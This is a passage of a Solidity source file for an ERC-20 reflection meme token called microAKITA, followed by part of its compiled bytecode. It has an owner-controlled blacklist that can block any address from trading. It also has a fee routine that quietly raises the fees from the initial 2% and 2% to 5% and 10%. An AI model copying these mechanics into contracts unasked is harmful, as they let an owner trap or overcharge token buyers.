function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract microAKITA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "microAKITA | t.me/microAKITA";
string private constant _symbol = "MKITA";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 2;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280601c81526020017f6d6963726f414b495441207c20742e6d652f6d6963726f414b49544100000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4d4b495441000000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b601e42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c